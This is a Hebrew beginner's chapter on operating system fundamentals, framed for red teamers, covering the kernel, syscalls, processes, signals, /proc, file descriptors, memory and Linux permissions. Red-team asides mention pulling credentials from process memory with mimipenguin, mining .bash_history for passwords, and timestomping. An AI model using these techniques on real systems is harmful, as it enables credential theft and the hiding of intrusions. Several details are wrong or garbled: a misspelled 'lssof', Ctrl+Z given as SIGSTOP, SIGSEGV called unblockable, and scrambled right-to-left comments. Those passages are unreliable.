

פרק 1 · RED TEAM GUIDES

יסודות מערכות הפעלה

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 1 — יסודות מערכות הפעלה

מה זה בכלל מערכת הפעלה?

בוא נתחיל מהשאלה הכי בסיסית שיש: מה קורה כשאתה לוחץ על כפתור ההפעלה של המחשב?

המחשב בנוי מחומרה — חלקים פיזיים כמו:

- **מעבד (CPU)** — השבב שמבצע חישובים. תחשוב עליו כמו המוח של המחשב.
- **זיכרון (RAM)** — ה"שולחן עבודה" של המחשב. כל מה שהמחשב משתמש בו עכשיו נמצא שם. הוא מהיר מאוד אבל מתרוקן כשמכבים.
- **דיסק קשיח (HDD/SSD)** — ה"ארון" — שמירת קבצים לטווח ארוך. גם כשמכבים, הכל נשאר שמור.
- **כרטיס מסך (GPU)** — מחשב אחר בתוך המחשב, אחראי על מה שרואים על המסך.
- **כרטיס רשת** — מאפשר לשלוח ולקבל נתונים דרך האינטרנט.

הבעיה היא שהחומרה הזאת, לבדה, **לא יודעת מה לעשות**. היא פשוט מכונה. צריך תוכנה שתגיד לה מה לעשות, תנהל את כל הרכיבים, ותאפשר לתוכנות כמו Chrome או Word לרוץ.

התוכנה הזאת נקראת **מערכת הפעלה (Operating System, בקצרה: OS)**.

אנלוגיה מהיום יום

תדמיין מסעדה:

- **החומרה** = המטבח, הכיריים, הכלים, האוכל הגולמי
- **מערכת ההפעלה** = המנהל שמחלק עבודה, מוודא שהשפים לא מתנגשים, מנהל הזמנות
- **התוכנות** (Chrome, Word, Spotify) = השפים — כל אחד מתמחה במשהו
- **אתה** = הלקוח שמזמין

בלי מנהל (OS), השפים יתנגשו, לא ידעו מי מקבל איזה כיריים, ולא תהיה שום אוכל.

מה מערכת ההפעלה עושה?

ניהול משאבים — המחשב יש לו RAM מוגבל (נגיד 16GB). אם Chrome, Spotify, ו-10 תוכנות אחרות רצות בו-זמנית, מישהו צריך להחליט מי מקבל כמה. זה ה-OS.

תקשורת עם חומרה — בלי OS, כל תוכנה הייתה צריכה לדעת בדיוק איך לדבר עם כל כרטיס מסך, כל כרטיס רשת, כל מדפסת. זה בלתי אפשרי. ה-OS מטפל בזה דרך מה שנקרא **drivers** (מנהלי התקנים).

ניהול קבצים — שמירה, קריאה, מחיקה, ארגון קבצים בתיקיות.

ניהול משתמשים — לאפשר לאדמין לעשות הכל, ולמשתמש רגיל — פחות.

הרצת תוכניות — לאפשר ל-Chrome לרוץ, ל-Spotify לרוץ, בו-זמנית, בלי שהן יפגעו אחת בשנייה.

אבטחה — למנוע מ-Chrome לגנוב את הסיסמאות של Spotify, ממשתמש רגיל לשנות קבצי מערכת.

קצת היסטוריה (רק מה שחשוב)

בשנות ה-50 וה-60, מחשבים היו גדולים כמו חדר שלם ועלו כמו עיר קטנה. לא הייתה מערכת הפעלה. כתבת תוכנית על כרטיסי ניקוב (פיסות קרטון עם חורים), הכנסת אותם למחשב, והמחשב הריץ רק את זה. כשסיים, הכנסת את הסט הבא. רק תהליך אחד בכל פעם.

אחר כך הגיע **Time-sharing** (שיתוף זמן) — הרעיון שמחשב אחד יכול לשרת הרבה משתמשים בו-זמנית, בכך שהוא מחלק את זמן המעבד ביניהם כל כך מהר שאף אחד לא מרגיש.

דמיין כוס מים אחת ו-10 אנשים צמאים. אם תעביר את הכוס מהר מספיק בין כולם, כל אחד ירגיש שיש לו כוס שלמה.

משם צמחו שתי שושלות עיקריות:

Unix (שנות ה-70) — פותח ב-Bell Labs. היה מהפכני: פשוט, מודולרי, חזק. הפך לבסיס של כמעט כל מה שיש היום. לינוקס ו-macOS הם צאצאי Unix.

DOS ולאחר מכן Windows — Microsoft פיתחה (Disk Operating System) DOS עבור IBM, ואחר כך Windows שהוסיף ממשק גרפי. Windows פיתח בעצמאות, לא מ-Unix, ולכן הוא שונה מהותית מלינוקס.

למה זה חשוב? כי הבדלים היסטוריים אלה הם הסיבה ש-Windows ו-Linux עובדים כל כך שונה. הרבה פרצות אבטחה ב-Windows קיימות בגלל החלטות עיצוב שהתקבלו ב-1980.

שלושת השחקנים הגדולים

Windows

Windows היא מערכת ההפעלה הנפוצה ביותר בשולחנות עבודה ובארגונים — **95% מהמחשבים בארגונים מריצים Windows**.

מה מייחד אותה:

- **ממשק גרפי (GUI)** — Windows, תפריטים, עכבר. בנוי סביב זה.
- **Registry** — מסד נתונים מרכזי שמכיל את כל הגדרות המערכת. זה כמו ה-DNA של Windows — שם נרשם מה יפתח בהפעלה, מה המסיסמאות, מה השירותים.

- **Active Directory** — מערכת ניהול משתמשים ב-organizations. מי שולט על ה-AD שולט על כל הארגון.

- קבצי הפעלה מסתיימים ב-`.exe`, ספריות משותפות ב-`.dll`.
- הרשאות מנוהלות דרך **ACL (Access Control Lists)** — רשימות מי מורשה לעשות מה

למה זה חשוב לנו? כי 95% מהמטרות הן Windows. אם אתה Red Teamer ולא מבין Windows — אתה מוגבל.

Linux

Linux היא מערכת קוד פתוח — כלומר כל אחד יכול לקרוא את הקוד שלה, לשנות אותה, לחלק אותה חנם. זה יוצר אלפי **הפצות (distributions)** — גרסאות שונות של לינוקס:

- **Kali Linux** — מיוחדת ל-Red Teaming, מגיעה מותקנת עם מאות כלי פריצה
- **Parrot OS** — דומה ל-Kali, קצת יותר קל
- **Ubuntu** — נפוצה ל-Desktop ולשרתים
- **Debian** — יציבה מאוד, פופולרית בשרתים
- **CentOS/RHEL** — נפוצה בארגונים גדולים

מה מיוחד אותה:

- **הכל הוא קובץ** — עיקרון יסודי. מכשירים, חיבורי רשת, מידע על מערכת — הכל מוצג כקבצים
 - **Command Line** — לב המערכת. GUI הוא אופציה, לא הכרח
 - **הרשאות פשוטות** — owner, group, others
 - **שרתים** — 90% מהאינטרנט רץ על Linux. שרתי Google, Amazon, Facebook — כולם Linux
- למה זה חשוב לנו?** הכלים שלנו (nmap, Metasploit, Burp Suite) רצים על Linux. המטרות הן בד"כ שרתי Linux. צריך להכיר.

macOS

macOS של Apple מבוסס על **Darwin** — גרסה של Unix. לכן הוא מאוד דומה ללינוקס מתחת לפני השטח.

נפוץ אצל מפתחים ומעצבים. פחות נפוץ בארגונים גדולים. עדיין חשוב להכיר — בעיקר כי הרבה Red Teamers משתמשים ב-Mac כמחשב עבודה.

הלב של המערכת: הקרנל (Kernel)

המילה **קרנל** באנגלית פירושה "גרעין" — כמו גרעין של אגוז. הקרנל הוא הקוד המרכזי של מערכת ההפעלה שרץ ישירות על החומרה.

מה הוא עושה?

כשאתה פותח קובץ ב-Chrome, Chrome לא "מדבר" ישירות עם הדיסק. הוא שולח **בקשה** לקרנל: "תפתח לי את הקובץ הזה". הקרנל בודק: "האם ל-Chrome מותר? האם הקובץ קיים?" ורק אז מבצע.

זה יוצר שתי "שכבות":

Kernel Space (מרחב הקרנל):

- שם הקרנל פועל
- גישה מלאה לכל החומרה — CPU, RAM, דיסק, כל דבר
- קוד שרץ שם הוא "אל" — יכול לעשות כל מה שרוצה
- טעות קטנה כאן = **kernel panic** (לינוקס) או **BSOD** — **מסך כחול** (Windows) — קריסת מערכת מלאה

User Space (מרחב המשתמש):

- שם כל שאר התוכנות רצות — Chrome, Word, Spotify, הכלים שלנו
- מוגבל. לא יכול לגשת ישירות לחומרה
- טעות כאן = התוכנה קורסת, לא המערכת

אנלוגיה

תדמיין בנק:

- **Kernel Space** = כספת, חדר שרתים, עיבוד עסקאות פנימי. רק עובדים מורשים
- **User Space** = לובי הבנק. הלקוחות (תוכנות) נמצאים כאן
- **System Call** = הקופאי. הגשר בין הלקוח לכספת

הלקוח (Chrome) לא יכול פשוט ללכת לכספת. הוא מבקש מהקופאי (System Call). הקופאי בודק שהוא מורשה ומבצע.

למה זה חשוב לנו ב-Red Teaming?

הרבה התקפות מתקדמות מנסות לעבור מ-User Space ל-Kernel Space. למה? כי שם ההגנות לא עובדות. אנטי-וירוס, EDR (Endpoint Detection and Response — תוכנת הגנה מתקדמת) — כולם רצים ב-User Space. אם תוקף מצליח להריץ קוד ב-Kernel Space — הוא מעל כל ההגנות.

System Calls — כיצד תוכנות מדברות עם הקרנל

כאמור, תוכנה ב-User Space לא יכולה לגשת ישירות לחומרה. היא צריכה לבקש מהקרנל. הבקשה הרשמית הזו נקראת **System Call** (ובקצרה: syscall).

הצג לי את זה בעולם אמיתי

כשאתה כותב `python3 script.py` ותוכנת Python קוראת קובץ, קורה הבא:

1. Python קוראת לפונקציה `open('file.txt')` — זה קוד Python רגיל
2. Python (דרך ספריית C שלה) שולחת **System Call** לקרנל
3. המעבד עובר ממצב "משתמש" למצב "קרנל" — זה קורה ברמת החומרה!
4. הקרנל בודק: "האם Python מורשה? האם הקובץ קיים?" ופותח אותו
5. הקרנל מחזיר תשובה ל-Python
6. המעבד חוזר למצב "משתמש"

כל זה קורה תוך **נאנו-שניות**. לא מרגישים.

System Calls נפוצים בלינוקס

Syscall	מה הוא עושה	דוגמה
<code>open()</code>	פתח קובץ	לפתוח <code>/etc/passwd</code>
<code>read()</code>	קרא מקובץ	לקרוא שורה מקובץ
<code>write()</code>	כתוב לקובץ	שמור קובץ
<code>close()</code>	סגור קובץ	כשמסיימים
<code>fork()</code>	צור תהליך-בן	כשטרמינל פותח פקודה
<code>exec()</code>	הרץ תוכנית	הפעל <code>ls</code>
<code>socket()</code>	פתח חיבור רשת	כדי להתחבר לאינטרנט
<code>connect()</code>	התחבר לכתובת	Chrome מתחבר לגוגל
<code>kill()</code>	שלח signal לתהליך	לסגור תוכנה
<code>ptrace()</code>	עקוב אחרי תהליך	ל-debugging

כלי שחושף System Calls: strace

strace הוא כלי שמציג בזמן אמת את כל ה-syscalls שתוכנה מבצעת. זה כמו X-ray לתוכנה.

```
# הרץ 'ls /tmp' ותראה כל syscall שהוא עושה:
strace ls /tmp

# פלט לדוגמה:
# execve("/usr/bin/ls", ["ls", "/tmp"], ...) <- הפעיל את 'ls'
# openat(AT_FDCWD, "/tmp", O_RDONLY|O_DIRECTORY) <- פתח את /tmp
# getdents64(3, ...) <- קרא תוכן תיקייה
# write(1, "file1.txt file2.txt\n", ...) <- הדפיס למסך
# exit_group(0) <- יצא

# עקוב אחרי תהליך שכבר רץ:
strace -p 1234 # נסביר עליו בהמשך, (מספר תהליך) PID-כאן 1234 הוא ה #
```

למה זה חשוב לנו? כי אם תקבל קובץ חשוד (malware), strace יראה לך בדיוק מה הוא עושה: אילו קבצים הוא פותח, לאיפה הוא מתחבר, מה הוא שולח. זה כלי ניתוח קריטי.

תהליכים (Processes) — הלב הפועם של המחשב

כשתוכנה רצה, היא נקראת **תהליך (Process)**. ההבדל בין "תוכנה" ל"תהליך":

- **תוכנה** = הקוד השמור בדיסק. כמו מתכון בספר.
- **תהליך** = הקוד בביצוע. כמו שאתה מבשל את המתכון.

אפשר להריץ את אותה תוכנה כמה פעמים — כמה תהליכים. Chrome לדוגמה — כל חלון הוא תהליך נפרד.

מה כל תהליך מקבל?

כשנוצר תהליך חדש, מערכת ההפעלה נותנת לו:

PID (Process ID) — מספר זיהוי ייחודי. כמו ת"ז לתהליך. אם PID הוא 2567, כל פקודה שתשלח לתהליך הזה תשתמש ב-2567.

מרחב זיכרון פרטי — הקרנל נותן לכל תהליך "חדר" משלו בזיכרון. תהליך אחד לא יכול לקרוא את הזיכרון של השני (בדרך כלל). זה הגנת יסוד.

הרשאות — התהליך מקבל את הרשאות המשתמש שהפעיל אותו. אם `john` "user" הפעיל את Chrome, ל-Chrome יש הרשאות של john — לא יותר.

File Descriptors — רשימת קבצים וחיבורי רשת פתוחים. נסביר בהמשך.

Working Directory — "איפה" התהליך נמצא. כמו שלך יש מיקום כשאתה מנווט בתיקיות.

Environment Variables (משתני סביבה) — משתנים שמשפיעים על התנהגות התוכנה. לדוגמה, משתנה הסביבה `PATH` אומר לטרמינל איפה לחפש פקודות.

תהליכים ו-Threads

Thread (חוט) הוא "חוט ביצוע" בתוך תהליך. תהליך יכול להכיל כמה threads שרצים "בו-זמנית".

ההבדל המהותי:

- **תהליכים** — מרחב זיכרון נפרד. בידוד מלא. Chrome-tab-1 לא יכול לפגוע ב-Chrome-tab-2.
- **Threads** — חולקים את אותו מרחב זיכרון. מהיר יותר ליצירה, אבל thread אחד יכול לשנות נתונים של thread אחר.

דוגמה מהחיים: Chrome פותח **תהליך נפרד** לכל tab (למה? כי אם tab קורס, שאר ה-tabs חיים). בתוך כל tab יש **כמה threads** — אחד לרינדור, אחד ל-JavaScript, אחד לרשת.

מה זה אומר ב-Threads Red Teaming? שחולקים זיכרון פגיעים ל-Race Conditions — שתי threads כותבות לאותו מיקום בו-זמנית ויוצרות מצב לא צפוי. זה מקור לפרצות.

הורה וילד — עץ התהליכים

בלינוקס, כל תהליך **נוצר** מתהליך אחר. התהליך שיוצר נקרא **הורה (Parent)**, והחדש נקרא **ילד (Child)**.

כיצד?

1. ה-Parent קורא ל-System Call `fork()` שיוצר עותק מדויק של עצמו
2. עכשיו יש שני תהליכים זהים. ה-Child קורא ל-`exec()` — מחליף את עצמו בתוכנה חדשה
3. ה-Parent ממשיך לרוץ, ה-Child מריץ את התוכנה החדשה

דוגמה: פתחת טרמינל והקלדת `ls`. הטרמינל (bash):

1. `fork()` — יצר עותק של עצמו
2. העותק `exec("/usr/bin/ls")` — הפך ל-`ls`
3. `ls` הדפיס קבצים ומת
4. bash המתין, קיבל הודעה שהילד מת, והציג prompt חדש

התהליך הראשון שעולה עם המערכת הוא **systemd** (PID 1 תמיד). הוא "האב" של כל התהליכים בלינוקס. ב-Windows זה **System** ו-**wininit.exe**.

הצג כל התהליכים:

```
ps aux
```

הסבר על הפלט:

```
# USER      PID %CPU %MEM    ... COMMAND
# root         1   0.0   0.0    ... /usr/lib/systemd/systemd
# john      2547   1.2   3.4    ... /usr/bin/chrome
```

כולל תהליכים בלי טרמינל = -x, פורמט מפורט = -u, כל המשתמשים = -a

הצג כולל PPID (Parent PID – מי ה"אב"):

```
ps -ef
```

הצג כ"עץ" – תראה מי יצר את מי:

```
pstree
```

עם מספרי PID:

```
pstree -p
```

מידע מפורט ומתעדכן בזמן אמת (כמו Task Manager):

```
top
```

או הגרסה הנעימה יותר:

```
htop # sudo apt install htop
```

מצבי תהליך — מה הוא עושה עכשיו?

בכל רגע, תהליך נמצא באחד מהמצבים הבאים:

מצב	אות	משמעות	דוגמה
Running	R	כרגע מקבל זמן מעבד	חישוב כבד
Sleeping	S	ממתין למשהו	Chrome ממתין לתגובה מהרשת
Waiting	D	ממתין ל-I/O, לא ניתן להפרעה	כותב לדיסק
Stopped	T	הושהה	לחצת Ctrl+Z
Zombie	Z	מת אבל ה-parent לא "אסף" אותו	באג ב-parent

מה זה Zombie? תהליך מת, אבל הרשומה שלו בטבלת התהליכים עדיין קיימת כי ה-Parent לא "קרא" לתוצאות שלו. כמו עובד שהתפטר אבל הכרטיס שלו עדיין תקוע במערכת. זה לא מסוכן בד"כ, אבל הרבה Parent = Zombies.

```
# ראה את מצב התהליכים:
ps aux | grep " Z " # חפש Zombies
# מה שתראה:
# john 5672 Z+ ... [chrome] <defunct>
```

proc — החלון לתוך הקרנל

בלינוקס, יש תיקייה מיוחדת בשם `/proc`. היא לא קיימת בדיסק — היא נוצרת ב-RAM בכל הפעלה, ישירות על ידי הקרנל. היא מאפשרת לקרוא מידע על מה שקורה במערכת כאילו הם קבצים.

בתוך `/proc` יש תיקייה לכל תהליך — בשם ה-PID שלו:

```

ls /proc/
# 1 2 3 ... 1234 cpuinfo meminfo net ...
# כל מספר = תהליך

ls /proc/1/
# cmdline cwd environ exe fd maps mem net status ...

:(systemd) 1 # הפקודה שהפעילה תהליך 1
cat /proc/1/cmdline
# /usr/lib/systemd/systemd--switched-root--system--deserialize

# מצב התהליך – PID, UID, RAM שהוא משתמש:
cat /proc/1/status
# Name:    systemd
# Pid:     1
# PPid:    0
# VmRSS:   12345 kB ← הוא שוכל עכשיו RAM כמה

# מפת הזיכרון – כל "אזור" שה-OS הקצה לתהליך:
cat /proc/1/maps
# 55a23b200000-55a23b280000 r-xp ... /usr/lib/systemd/systemd

# כל ה-file descriptors הפתוחים של תהליך:
ls -la /proc/1/fd/
# lrwxrwxrwx ... 0 -> /dev/null ← stdin
# lrwxrwxrwx ... 1 -> /dev/null ← stdout
# lrwxrwxrwx ... 2 -> /dev/kmsg ← stderr

# מידע על המעבד:
cat /proc/cpuinfo

# מידע על RAM:
cat /proc/meminfo

# את "עצמן" – התהליך הנוכחי:
ls /proc/self/

```

למה זה מעניין ב-Red Teaming?

`/proc/[pid]/maps` חושף את כל הזיכרון של תהליך — כולל שם הספרייה שנטענו. אפשר לגלות האם Anti-Virus טען hooks לתוך תהליך.

`/proc/[pid]/mem` — ניתן לקרוא את הזיכרון הפיזי של תהליך! צריך הרשאות, אבל כשיש — אפשר לשלוף credentials ישירות מ-RAM. כלים כמו `mimipenguin` לינוקס עושים בדיוק זאת.

File Descriptors — הכל הוא מספר

בלינוקס קיים עיקרון: "הכל הוא קובץ". פשוטו כמשמעו:

- קובץ טקסט? קובץ.
- חיבור רשת? קובץ.
- מדפסת? קובץ.
- מסוף (terminal)? קובץ.
- `/proc/meminfo` ? קובץ (כפי שראינו).

כשתהליך "פותח" כל אחד מאלה, הוא מקבל **File Descriptor (FD)** — סתם מספר שלם שמייצג את הקישור הזה.

כל תהליך מתחיל עם 3 FDs:

מספר	שם	ברירת מחדל	מה זה
0	stdin	מקלדת	קלט — מה שאתה כותב
1	stdout	מסך	פלט רגיל
2	stderr	מסך	הודעות שגיאה

כשפותחים קובץ, הוא מקבל 3, 4, 5, ... לפי הסדר.

הפנייה (Redirection) — שנה לאן ה-FDs מצביעים

```
# הפנה (FD 1) stdout לקובץ – במקום מסך:
ls > output.txt
# עכשיו output.txt מכיל את מה ש-ls היה מדפיס

# הפנה (FD 2) stderr לקובץ – אסוף רק שגיאות:
command 2> errors.log
# פלט רגיל הולך למסך, שגיאות נשמרות

# הפנה גם stdout וגם stderr לאותו קובץ:
command > all.log 2>&1
# 1<2 אומר: "שלח 2 FD לאותו מקום ש-1 FD הולך"

# קרא stdin מקובץ – במקום מקלדת:
python3 script.py < input.txt
# חושב" שאתה מקליד, אבל זה בא מהקובץ" script.py

# ראה FDs פתוחים של תהליך 1234:
ls -la /proc/1234/fd/

# כלי שמציג את כל הקבצים הפתוחים במערכת:
lssof
# הרבה פלט! סנן:
lssof -p 1234          # רק של תהליך 1234
lssof -u john          # רק של משתמש john
lssof -i :80           # (HTTP) מי פותח פורט 80
lssof -i               # כל חיבורי הרשת
```

Pipes — שרשרת פקודות

(Pipe) מחבר את **stdout** של פקודה אחת ל-**stdin** של הבאה. זה אחד הדברים הכי חכמים שיש.

```
# בלי pipe:
ls /etc > /tmp/temp.txt
grep "pass" /tmp/temp.txt
rm /tmp/temp.txt

# עם pipe – אותה תוצאה, בלי קובץ זמני:
ls /etc | grep "pass"
```

איך זה עובד? `ls` כותב ל-stdout. במקום שזה יגיע למסך, הקרנל מחבר אותו ישירות ל-stdin של `grep`. שתי תוכניות מריצות בו-זמנית.

```
# דוגמה מעשית – מי הם כל המשתמשים שמשתמשים ב-bash?
cat /etc/passwd | grep "bash" | cut -d: -f1

# cat /etc/passwd מדפיס את
# grep "bash" מסנן רק שורות עם "bash"
# חותך ולוקח שם משתמש (שדה 1, מופרד ב-:) cut

# כמה תהליכים של chrome רצים?
ps aux | grep chrome | wc -l

# סופר שורות ל-chrome, wc מסנן grep, מציג תהליכים ps
```

Signals — כיצד מדברים עם תהליכים

Signal הוא הודעה שנשלחת לתהליך. כמו "הקש על הכתף" של המחשב. הקרנל יכול לשלוח signals, תהליכים יכולים לשלוח לתהליכים אחרים, ואתה יכול לשלוח ידנית.

Signals נפוצים

Signal	מספר	מה קורה	ניתן לחסום?	מה עושה אותו?
SIGTERM	15	בקש מהתהליך להסתיים	כן	<code>kill 1234</code>
SIGKILL	9	כפה סיום מידי	לא!	<code>kill -9 1234</code>
SIGHUP	1	טרמינל נסגר / reload	כן	סגירת SSH
SIGINT	2	הפרעה	כן	<code>Ctrl+C</code>
SIGSTOP	19	הקפא	לא!	<code>Ctrl+Z</code>
SIGCONT	18	המשך מהקפאה	כן	<code>fg</code>
SIGSEGV	11	גישה לזיכרון לא חוקי	לא	באג בקוד

שליחת Signals

```
# שלח SIGTERM לתהליך 1234 - "בבקשה תצא":
kill 1234 # SIGTERM ברירת מחדל היא #
kill -15 1234 # אותו דבר, מפורש

# שלח SIGKILL - "מות עכשיו, ללא ויכוח":
kill -9 1234
# מתי להשתמש: כשהתהליך "תקוע" ולא מגיב ל-SIGTERM

# שלח signal לפי שם תהליך:
killall firefox # לכל תהליכי firefox
pkill chrome # דומה

# הצג את כל ה-signal הקיימים:
kill -l
```

Ctrl+C vs Ctrl+Z

- **Ctrl+C** = שולח **SIGINT** = "תפסיק עכשיו". התהליך יסתיים (אלא אם "תפס" את ה-signal).
- **Ctrl+Z** = שולח **SIGSTOP** = "קפא". התהליך עוצר אבל לא מת. אפשר להמשיך:

- `fg` = החזר לחזית (foreground)

- bg = שלח לרקע (background) — ממשיך לרוץ בשקט

```
# דוגמה:
ping google.com # ping סוף
# Ctrl+Z ← עצרנו אותו
# [1]+ Stopped ping google.com

bg # המשך ברקע
# [1]+ ping google.com &

fg # החזר לחזית
```

למה זה חשוב ב-Red Teaming? כי תהליכים יכולים לתפוס signals ולהגיב אחרת. לדוגמה, תוכנה עלולה לתפוס SIGTERM ולא לצאת — ואז נצטרך SIGKILL. מלאוור (malware) לפעמים "שומרת" על עצמה על ידי ignore לכל signals פרט ל-SIGKILL שלא ניתן לחסום.

זיכרון — איך המחשב מנהל RAM

RAM לעומת דיסק

RAM (Random Access Memory — זיכרון גישה אקראית):

- מהיר מאוד — ניגשים לנתון בנאנו-שניות (מיליארדית שנייה)
- זמני — מתרוקן לחלוטין כשמכבים
- יקר — 16GB זיכרון עולה הרבה יותר מ-16GB דיסק
- שם רצות כל התוכנות

דיסק (SSD/HDD):

- יותר איטי — SSD: מיקרו-שניות. HDD: מילי-שניות. (פי מיליון יותר איטי מ-RAM)
- קבוע — נשמר גם בלי חשמל
- זול — 1TB דיסק עולה פחות מ-16GB RAM
- שם שמורים כל הקבצים

מדוע צריך הסבר על זיכרון? בגלל זה:

דמיין שיש לך שולחן עבודה קטן (RAM — 16GB) ומחסן גדול (דיסק — 1TB). כדי לעבוד על מסמך, אתה צריך להביא אותו מהמחסן לשולחן. אם השולחן מלא, תצטרך להחזיר משהו למחסן לפני שתביא דבר חדש.

זיכרון וירטואלי — הטריק הכי חכם

כל תהליך "חושב" שיש לו את כל ה-RAM לעצמו. Chrome חושב שיש לו 8GB. Spotify חושב שיש לו 4GB. אבל במציאות — יש רק 16GB RAM ומרחב זיכרון עצום שמשותף.

איך זה עובד? זיכרון וירטואלי (Virtual Memory):

1. הזיכרון מחולק לעמודים (Pages) — בד"כ 4KB כל אחד (כמו "דפים" בספר)
2. לכל תהליך יש Page Table (טבלת עמודים) — מיפוי של "כתובת וירטואלית שהתהליך חושב שיש לו" ← "כתובת פיזית ב-RAM"
3. התהליך ניגש לכתובת 0x1000. המעבד מסתכל בטבלת העמודים ומוצא: "0x1000 וירטואלי = 0x4F2000 פיזי". ניגש לשם ב-RAM.
4. התהליך לא רואה את זה — הכל שקוף

Page Fault: מה קורה כשתהליך ניגש לכתובת שאין לה עמוד ב-RAM?

- הקרנל בודק: האם יש את העמוד הזה ב-Swap (דיסק)? אם כן, מביא אותו.
- אם לא — **Segmentation Fault (SIGSEGV)** — תוכנה קרסה בגלל גישה לכתובת לא חוקית.

Swap — המחסן לעמודים לא פעילים

כש-RAM מלא, הקרנל מעביר עמודים שלא השתמשו בהם לאחורונה ל-Swap — חלק מהדיסק שמשמש כ"הרחבה" של ה-RAM.

זה הרבה יותר איטי מ-RAM! מחשב שמשתמש הרבה ב-Swap יהיה איטי מאוד.

```
# כמה RAM ו-Swap יש ומה בשימוש:
free -h

# Output:
#           total    used    free   shared  buff/cache   available
# Mem:      15.6G    5.2G    1.1G    1.3G     9.2G        8.9G
# Swap:      2.0G    100M    1.9G

# -h = human readable (GB, MB)

# מידע מפורט יותר על RAM:
cat /proc/meminfo

# הצג Swap בשימוש:
swapon --show
```

layout זיכרון של תהליך

כשתהליך רץ, הזיכרון שלו מחולק לאזורים:

כתובת גבוהה



כתובת נמוכה

למה זה חשוב לנו?

- **Buffer Overflow** — הצפת Stack. כשכותבים יותר ממה שמוקצה ל-Stack, אפשר לדרוס "כתובת חזרה" ולשלוח את הקוד לכל מקום שנרצה.
- **Heap Spray** — שיטת התקפה שמנסה להניח shellcode בזיכרון heap ואז לגרום לתוכנה לקפוץ שם.
- **Use After Free** — שימוש בזיכרון heap לאחר שהוחזר. גורם להתנהגות לא צפויה שניתן לנצל.

מערכת הקבצים — איך מאורגן הדיסק

הכל הוא עץ

בלינוקס, כל המערכת היא עץ אחד שמתחיל ב- / (slash — שורש):

```

/ ← שורש, נקרא "root"
├── bin/      ← פקודות בסיסיות (ls, cp, mv, cat...)
├── sbin/     ← פקודות מנהל (fdisk, mount...)
├── etc/      ← קבצי תצורה (configuration files)
│   ├── passwd ← רשימת משתמשים
│   ├── shadow ← סיסמאות מוצפנות
│   └── hosts   ← מקומי DNS
├── home/     ← תיקיות בית של משתמשים
│   ├── alice/ ← alice תיקיית הבית של
│   └── bob/    ← bob תיקיית הבית של
├── var/      ← נתונים משתנים (logs, caches...)
│   └── log/    ← קבצי יומן
│       ├── auth.log ← ניסיונות התחברות
│       └── syslog  ← לוג מערכת כללי
├── tmp/      ← קבצים זמניים (נמחקים בהפעלה מחדש)
├── proc/     ← שראינו - נתוני קרנל /proc
├── dev/      ← מכשירים (מדפסת, כרטיס קול...)
│   ├── sda    ← דיסק ראשי
│   ├── sda1   ← ראשון partition
│   └── null    ← חור שחור - כל מה שנשלח אליו נעלם
├── usr/      ← תוכנות ונתוני משתמש
│   ├── bin/   ← רוב הפקודות (python3, git, vim...)
│   └── lib/    ← ספריות
└── root/     ← root תיקיית הבית של (admin)

```

```
# הצג את התיקייה הנוכחית (Print Working Directory):
pwd
# /home/alice

# עבור לתיקייה:
cd /etc
cd ..          # עלה תיקייה אחת
cd ~           # עבור לתיקיית הבית שלך
cd -           # חזור לתיקייה הקודמת (שימושי!)
```

הצג תוכן תיקייה:

```
ls          # הצגה פשוטה
ls -l       # הצגה מפורטת (הרשאות, גודל, תאריך)
ls -la      # כולל קבצים נסתרים (מתחילים ב-.)
ls -lh      # גודל קריא לאדם (KB, MB, GB)
```

דוגמה ל-`ls -la`:

```
# drwxr-xr-x  2 alice alice 4096 Jan  1 12:00 Documents
# -rw-r--r--  1 alice alice  512 Jan  1 11:00 file.txt
# ↑ col 1 = הרשאות, col 3,4 = בעלים, col 5 = גודל
```

הצג עץ (אם מותקן):

```
tree /etc/    # עץ של /etc
tree -L 2     # רק 2 רמות עומק
```

קבצים נסתרים

בלינוקס, כל קובץ שמתחיל ב-`.` (נקודה) הוא **נסתר** — לא מוצג ב-`ls` רגיל.

```
ls -la ~
# .bashrc      ← bash הגדרות
# .bash_history ← היסטוריית פקודות
# .ssh/        ← מפתחות SSH
# .config/     ← תצורת תוכנות
```

למה זה חשוב לנו? `.bash_history` מכיל את כל הפקודות שהשתמש הריץ — כולל פקודות עם סיסמאות! זה אחד המקומות הראשונים שנבדוק.

inode — הכרטיס של כל קובץ

כל קובץ מיוצג ב-`inode` — מבנה נתונים שמכיל:

- גודל
- זמן יצירה, שינוי, גישה
- בעלים (UID, GID)
- הרשאות
- כתובות blocks בדיסק

שם הקובץ לא נמצא ב-`inode`! השם נמצא בתיקייה — מיפוי "שם ← מספר inode".

```
# ראה מספר inode
ls -li
# 1234567 -rw-r--r-- 1 alice alice 512 file.txt
# ↑ inode number

# מצא קבצים לפי inode
find / -inum 1234567 2>/dev/null
```

ל-**Red Teaming: Hard Links** — שני שמות לאותו inode. אחד ממוחק? השני קיים. אפשר לשמור גישה לקובץ "שנמחק". גם — שינוי inode timestamps יכול להסתיר עקבות (Timestomping).

נתיבים — Absolute vs Relative

Absolute Path (נתיב מוחלט): מתחיל מ-`/`. עובד מכל מקום.

```
cat /etc/passwd      # תמיד עובד
ls /home/alice/docs  # תמיד עובד
```

Relative Path (נתיב יחסי): יחסי לתיקייה הנוכחית.

```
cat passwd           # -/etc אם אתה ב
ls docs              # -/home/alice אם אתה ב
ls ../alice/docs     # " = מעל"
```

הרשאות בלינוקס – מי מותר לעשות מה

זוה נושא קריטי — הבנת הרשאות היא הבנת האבטחה.

המודל הבסיסי

בלינוקס, כל קובץ יש לו **בעלים**:

- **User (u)** — המשתמש שיצר/בעל הקובץ
- **Group (g)** — קבוצה של משתמשים
- **Others (o)** — כולם האחרים

לכל בעלים יש שלוש הרשאות:

- **r (read = קריאה)** — אפשר לקרוא את תוכן הקובץ
- **w (write = כתיבה)** — אפשר לשנות את הקובץ
- **x (execute = הרצה)** — אפשר להריץ את הקובץ (אם תוכנה)

```
drwxr-xr-x  alice  devs  Documents/
|||||||└─ others: x
|||||||└─ others: -
|||||||└─ others: r
||||||└── group: x
|||||└── group: -
||||└── group: r
|||└── user:  x
||└── user:  w
|└── user:  r
└── d = directory (תיקייה). - = קובץ רגיל
```

לתיקויה, ההרשאות אומרות משהו קצת שונה:

- r = אפשר לראות את רשימת הקבצים בתוכה
- w = אפשר ליצור/למחוק קבצים בתוכה
- x = אפשר להיכנס לתיקייה ולגשת לקבצים בה

```
# chmod = change mode (שנה הרשאות)

# שיטה 1 – symbolic (עם אותיות):
chmod u+x file.sh      # ל-user x הוסף
chmod g-w file.txt     # מ-group w הסר
chmod o+r file.txt     # ל-others r הוסף
chmod a+x script.sh    # a = all (כולם)
